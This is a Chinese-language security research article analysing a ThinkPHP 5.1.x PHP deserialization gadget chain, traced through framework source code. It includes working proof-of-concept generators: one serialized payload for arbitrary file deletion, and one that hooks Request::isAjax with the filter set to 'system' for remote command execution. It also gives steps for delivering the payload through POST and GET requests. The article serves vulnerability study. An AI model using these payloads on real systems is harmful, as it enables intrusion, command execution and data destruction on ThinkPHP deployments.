Thinkphp 反序列化利用鏈深入分析
作者:Ethan@知道創宇404實驗室
時間:2019年9月21日
前言
今年7月份,ThinkPHP 5.1.x爆出來了一個反序列化漏洞。之前沒有分析過關於ThinkPHP的反序列化漏洞。今天就探討一下ThinkPHP的反序列化問題!
環境搭建
- Thinkphp 5.1.35
- php 7.0.12
漏洞挖掘思路
在剛接觸反序列化漏洞的時候,更多遇到的是在魔術方法中,因此自動呼叫魔術方法而觸發漏洞。但如果漏洞觸發程式碼不在魔法函式中,而在一個類的普通方法中。並且魔法函式透過屬性(物件)呼叫了一些函式,恰巧在其他的類中有同名的函式(pop鏈)。這時候可以透過尋找相同的函式名將類的屬性和敏感函式的屬性聯絡起來。
漏洞分析
首先漏洞的起點為
/thinkphp/library/think/process/pipes/Windows.php
的
__destruct()
__destruct()
裡面呼叫了兩個函式,我們跟進
removeFiles()
函式。
class Windows extends Pipes{ private $files = []; .... private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; } ....}
這裡使用了
$this->files
,而且這裡的
$files
是可控的。所以存在一個任意檔案刪除的漏洞。
POC可以這樣構造:
namespace think\process\pipes; class Pipes{ } class Windows extends Pipes { private $files = []; public function __construct() { $this->files=['需要刪除檔案的路徑']; } } echo base64_encode(serialize(new Windows()));
這裡只需要一個反序列化漏洞的觸發點,便可以實現任意檔案刪除。
在
removeFiles()
中使用了
file_exists
對
$filename
進行了處理。我們進入
file_exists
函式可以知道,
$filename
會被作為字串處理。
而
__toString
當一個物件被反序列化後又被當做字串使用時會被觸發,我們透過傳入一個物件來觸發
__toString
方法。我們全域性搜尋
__toString
方法。
我們跟進
\thinkphp\library\think\model\concern\Conversion.php
的Conversion類的第224行,這裡呼叫了一個
toJson()
方法。
..... public function __toString() { return $this->toJson(); } .....
跟進
toJson()
方法
.... public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); } ....
繼續跟進
toArray()
方法
public function toArray() { $item = []; $visible = []; $hidden = []; ..... // 追加屬性(必須定義獲取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加關聯物件屬性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); } .....
我們需要在
toArray()
函式中尋找一個滿足
$可控變數->方法(引數可控)
的點,首先,這裡呼叫了一個
getRelation
方法。我們跟進
getRelation()
,它位於
Attribute
類中
.... public function getRelation($name = null) { if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; } ....
由於
getRelation()
下面的
if
語句為
if (!$relation)
,所以這裡不用理會,返回空即可。然後呼叫了
getAttr
方法,我們跟進
getAttr
方法
public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; } ......
繼續跟進
getData
方法
public function getData($name = null) { if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; }
透過檢視
getData
函式我們可以知道
$relation
的值為
$this->data[$name]
,需要注意的一點是這裡類的定義使用的是
Trait
而不是
class
。自 PHP 5.4.0 起,PHP 實現了一種程式碼複用的方法,稱為
trait
。透過在類中使用
use
關鍵字,宣告要組合的Trait名稱。所以,這裡類的繼承要使用
use
關鍵字。然後我們需要找到一個子類同時繼承了
Attribute
類和
Conversion
類。
我們可以在
\thinkphp\library\think\Model.php
中找到這樣一個類
abstract class Model implements \JsonSerializable, \ArrayAccess{ use model\concern\Attribute; use model\concern\RelationShip; use model\concern\ModelEvent; use model\concern\TimeStamp; use model\concern\Conversion; .......
我們梳理一下目前我們需要控制的變數
-
$files
位於類Windows
-
$append
位於類Conversion
-
$data
位於類Attribute
利用鏈如下:
程式碼執行點分析
我們現在缺少一個進行程式碼執行的點,在這個類中需要沒有
visible
方法。並且最好存在
__call
方法,因為
__call
一般會存在
__call_user_func
和
__call_user_func_array
,php程式碼執行的終點經常選擇這裡。我們不止一次在Thinkphp的rce中見到這兩個方法。可以在
/thinkphp/library/think/Request.php
,找到一個
__call
函式。
__call
呼叫不可訪問或不存在的方法時被呼叫。
...... public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); } throw new Exception('method not exists:' . static::class . '->' . $method); } .....
但是這裡我們只能控制
$args
,所以這裡很難反序列化成功,但是
$hook
這裡是可控的,所以我們可以構造一個hook陣列
"visable"=>"method"
,但是
array_unshift()
向陣列插入新元素時會將新陣列的值將被插入到陣列的開頭。這種情況下我們是構造不出可用的payload的。
在Thinkphp的Request類中還有一個功能
filter
功能,事實上Thinkphp多個RCE都與這個功能有關。我們可以嘗試覆蓋
filter
的方法去執行程式碼。
程式碼位於第1456行。
.... private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 呼叫函式或者方法過濾 $value = call_user_func($filter, $value); } .....
但這裡的
$value
不可控,所以我們需要找到可以控制
$value
的點。
.... public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { // 獲取原始資料 return $data; } .... // 解析過濾器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { // 恢復PHP版本低於 7.1 時 array_walk_recursive 中消耗的內部指標 $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); } .....
但是input函式的引數不可控,所以我們還得繼續尋找可控點。我們繼續找一個呼叫
input
函式的地方。我們找到了
param
函式。
public function param($name = '', $default = null, $filter = '') { ...... if (true === $name) { // 獲取包含檔案上傳資訊的陣列 $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param; return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter); }
這裡仍然是不可控的,所以我們繼續找呼叫
param
函式的地方。找到了
isAjax
函式
public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false; if (true === $ajax) { return $result; } $result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
在
isAjax
函式中,我們可以控制
$this->config['var_ajax']
,
$this->config['var_ajax']
可控就意味著
param
函式中的
$name
可控。
param
函式中的
$name
可控就意味著
input
函式中的
$name
可控。
param
函式可以獲得
$_GET
陣列並賦值給
$this->param
。
再回到
input
函式中
$data = $this->getData($data, $name);
$name
的值來自於
$this->config['var_ajax']
,我們跟進
getData
函式。
protected function getData(array $data, $name) { foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { return; } } return $data; }
這裡
$data
直接等於
$data[$val]
了
然後跟進
getFilter
函式
protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } } $filter[] = $default; return $filter; }
這裡的
$filter
來自於
this->filter
,我們需要定義
this->filter
為函式名。
我們再來看一下
input
函式,有這麼幾行程式碼
....if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); ...
這是一個回撥函式,跟進
filterValue
函式。
private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 呼叫函式或者方法過濾 $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { // 正則過濾 if (!preg_match($filter, $value)) { // 匹配不成功返回預設值 $value = $default; break; } .......
透過分析我們可以發現
filterValue.value
的值為第一個透過
GET
請求的值,而
filters.key
為
GET
請求的鍵,並且
filters.filters
就等於
input.filters
的值。
我們嘗試構造payload,這裡需要
namespace
定義名稱空間
<?phpnamespace think;abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["calc.exe","calc"]]; $this->data = ["ethan"=>new Request()]; }}class Request{ protected $hook = []; protected $filter = "system"; protected $config = [ // 表單請求型別偽裝變數 'var_method' => '_method', // 表單ajax偽裝變數 'var_ajax' => '_ajax', // 表單pjax偽裝變數 'var_pjax' => '_pjax', // PATHINFO變數名 用於相容模式 'var_pathinfo' => 's', // 相容PATH_INFO獲取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 預設全域性過濾方法 用逗號分隔多個 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理標識 'https_agent_name' => '', // IP代理獲取標識 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL偽靜態字尾 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{ private $files = []; public function __construct() { $this->files=[new Pivot()]; }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>
首先自己構造一個利用點,別問我為什麼,這個漏洞就是需要後期開發的時候有利用點,才能觸發
我們把payload透過
POST
傳過去,然後透過
GET
請求獲取需要執行的命令
執行點如下:
利用鏈如下:
參考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2658706/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- fastjson反序列化-JdbcRowSetImpl利用鏈ASTJSONJDBC
- 深入分析Java的序列化與反序列化Java
- JDK原生反序列化利用鏈7u21JDK
- Java反序列化利用鏈篇 | CC6鏈分析(通用版CC鏈)Java
- 【Java基礎】序列化與反序列化深入分析Java
- WebLogic 反序列化漏洞深入分析Web
- 利用Metasploit 打入ThinkPHP內網...PHP內網
- 告別指令碼小子系列丨JAVA安全(6)——反序列化利用鏈(上)指令碼Java
- PHP反序列化鏈分析PHP
- Java反序列化利用鏈篇 | CC1鏈的第二種方式-LazyMap版呼叫鏈【本系列文章的分析重點】Java
- URLDNS反序列化鏈學習DNS
- [BUG反饋]onethink\ThinkPHP\Library\OT\Database.class.php 問題反饋PHPDatabase
- Thinkphp鏈豆GEC挖礦系統商城PHP
- [Java反序列化]jdk原生鏈分析JavaJDK
- java反序列化cc1鏈Java
- Thinkphp6 利用 ZipArchive 打包下載檔案PHPHive
- Java反序列化利用鏈篇 | CC3鏈分析、TemplatesImpl類中的呼叫鏈、TrAXFilter、InstantiateTransformer類的transform()【本系列文章的分析重點】JavaFilterORM
- 白說:php反序列化之pop鏈PHP
- JavaScript 鏈式結構序列化詳解JavaScript
- SnakeYaml的不出網反序列化利用分析YAML
- 量化策略:如何利用死貓反彈獲利?
- thinkphp 利用中介軟體 實現日誌操作記錄PHP
- CommonsCollection4反序列化鏈學習
- CommonsCollection6反序列化鏈學習
- CommonsCollection7反序列化鏈學習
- DIY 實現 ThinkPHP 核心框架(八)控制反轉和依賴注入PHP框架依賴注入
- Fastjson JdbcRowSetImpl利用鏈學習ASTJSONJDBC
- Commons-Beanutils利用鏈分析Bean
- Ysoserial Click1利用鏈分析
- 利用service worker破解防盜鏈
- 在Springboot + Mybaitis-plus 專案中利用Jackson實現json對java多型的(反)序列化Spring BootAIJSONJava多型
- 反除錯 -- 利用ptrace阻止偵錯程式附加除錯
- Thinkphp實戰利用鉤子使用行為擴充套件 (Hook)PHP套件Hook
- 利用PHAR協議進行PHP反序列化攻擊協議PHP
- 利用Jackson序列化實現資料脫敏
- C3P0反序列化鏈學習
- 金融機構如何利用區塊鏈?區塊鏈
- Ysoserial Commons-Collections利用鏈分析